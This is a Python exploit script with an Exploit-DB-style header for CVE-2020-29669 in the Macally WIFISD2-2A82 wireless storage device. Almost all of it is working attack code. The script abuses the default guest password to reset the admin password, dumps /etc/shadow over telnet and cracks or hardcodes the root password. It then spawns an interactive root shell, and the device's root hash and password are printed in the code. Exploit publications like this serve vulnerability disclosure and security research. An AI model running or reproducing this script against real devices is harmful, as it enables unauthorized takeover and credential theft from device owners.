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Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation

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# Exploit Title: Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation
# Date: 03.12.2020 
# Exploit Author: Maximilian Barz and Daniel Schwendner
# Vendor Homepage: https://us.macally.com/products/wifisd2
# Version: 2.000.010
# Tested on: Kali Linux 5.7.0-kali1-amd64
# CVE : CVE-2020-29669
# Reference: https://github.com/S1lkys/CVE-2020-29669/

#!/usr/bin/env/python3
import requests
import telnetlib
import os
import sys
import re

banner = '''\033[94m
  ██████ ▄▄▄█████▓ ▄▄▄       ██▀███   ▄▄▄▄    █    ██  ██▀███    ██████ ▄▄▄█████▓
▒██    ▒ ▓  ██▒ ▓▒▒████▄    ▓██ ▒ ██▒▓█████▄  ██  ▓██▒▓██ ▒ ██▒▒██    ▒ ▓  ██▒ ▓▒
░ ▓██▄   ▒ ▓██░ ▒░▒██  ▀█▄  ▓██ ░▄█ ▒▒██▒ ▄██▓██  ▒██░▓██ ░▄█ ▒░ ▓██▄   ▒ ▓██░ ▒░
  ▒   ██▒░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄  ▒██░█▀  ▓▓█  ░██░▒██▀▀█▄    ▒   ██▒░ ▓██▓ ░ 
▒██████▒▒  ▒██▒ ░  ▓█   ▓██▒░██▓ ▒██▒░▓█  ▀█▓▒▒█████▓ ░██▓ ▒██▒▒██████▒▒  ▒██▒ ░ 
▒ ▒▓▒ ▒ ░  ▒ ░░    ▒▒   ▓▒█░░ ▒▓ ░▒▓░░▒▓███▀▒░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░▒ ▒▓▒ ▒ ░  ▒ ░░   
░ ░▒  ░ ░    ░      ▒   ▒▒ ░  ░▒ ░ ▒░▒░▒   ░ ░░▒░ ░ ░   ░▒ ░ ▒░░ ░▒  ░ ░    ░    
░  ░  ░    ░        ░   ▒     ░░   ░  ░    ░  ░░░ ░ ░   ░░   ░ ░  ░  ░    ░      
      ░                 ░  ░   ░      ░         ░        ░           ░           
                                           ░                                     
\x1b[0m
Macally WIFISD2 Guest to Root Privilege Escalation for CVE-2020-29669 by Maximilian Barz and Daniel Schwendner 
'''
def main():
    if(len(sys.argv) < 2):
        print(banner)
        print("Usage: %s <host> " % sys.argv[0])
        print("Eg:    %s 1.2.3.4 " % sys.argv[0])
        return
    rhost = sys.argv[1]
    session = requests.Session()
    guest_creds = "guest_pass"
    admin_pass_to_set = "Silky123"

    def send_requests():
        url = "http://"+rhost+"/protocol.csp?function=set"
        payload = {'fname':'security','opt':'pwdchk','name':'guest','pwd1':guest_creds,'function':'set'}
        headers = {
            'Host': rhost,
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'Accept': '*/*',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://'+rhost+'/index.html',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '65',
            'Connection': 'close',
            'Cache-Control': 'no-cache',
        }
        
        r= session.post(url, payload, headers)
        if (b"<errno>0</errno>" in r.content):
            print("\033[92m[+] Authentication successful\x1b[0m")
            print("\t"+str(session.cookies.get_dict()))
        else:
            print("\033[91m[+] Authentication failed.\x1b[0m")
            sys.exit()

        url = "http://"+rhost+"/protocol.csp?fname=security&function=set"    
        payload = {'name':'admin','opt':'pwdmod','pwd1':admin_pass_to_set,'pwd2':admin_pass_to_set}
        headers = {
            'Host': rhost,
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
            'Accept': '*/*',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Referer': 'http://'+rhost+'/app/user/guest.html',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '49',
            'Connection': 'close',
            'Cache-Control': 'no-cache',
        }
        d = session.post(url, payload, headers)
        if (b"<errno>0</errno>" in d.content):
            print("\033[92m[+] Admin Password changed to: "+admin_pass_to_set+"\x1b[0m")
            telnet_grep_root_hash()
            #print("[+] Spawning Admin Shell")
            #telnet_login()
        else:
            print("\033[91m[+] Admin Password change failed\x1b[0m")
            sys.exit()


    def telnet_grep_root_hash():
        user = "admin"
        tn = telnetlib.Telnet(rhost)
        tn.read_until(b"login: ")
        tn.write(user.encode('ascii') + b"\n")
        tn.read_until(b"Password: ")
        tn.write(admin_pass_to_set.encode('ascii') + b"\n")
        print("\033[92m[+] Dumping Hashes:\x1b[0m")
        tn.write(b"cat /etc/shadow\n\r")
        tn.write(b"exit\n")
        output = tn.read_all().decode('ascii')
        L = output.split('\n')
        for hash in L:
            if ":" in hash:
                print("\t"+hash)
        print("\n\r")
        for hash in L:
            if "root" in hash:
                print("\033[92m[+] Root Hash found, trying to crack it..\x1b[0m")
                print("\t"+hash)  #root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::
                f = open("root_hash","w+")
                f.write(hash)
                f.close()
                crack_root_hash();


    def crack_root_hash():
        f = open("root_hash", "r")
        hash = f.read()
        if ("root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::" in hash):
            print("\033[92mRoot Password: 20080826\x1b[0m\n")
            telnet_login()
        else:
            os.system("hashcat -a 0 -m 500 root_hash /root/tools/routersploit/routersploit/resources/wordlists/passwords.txt") #https://github.com/threat9/routersploit/blob/master/routersploit/resources/wordlists/passwords.txt

    def telnet_login():
        print("\033[92m[+] Spawning Rootshell\x1b[0m")
        user = "root"
        root_password="20080826"
        tn = telnetlib.Telnet(rhost)
        tn.read_until(b"login: ")
        tn.write(user.encode('ascii') + b"\n")
        tn.read_until(b"Password: ")
        tn.write(root_password.encode('ascii') + b"\n")
        tn.interact()
    print(banner)
    send_requests()

if(__name__ == '__main__'):
    main()
            
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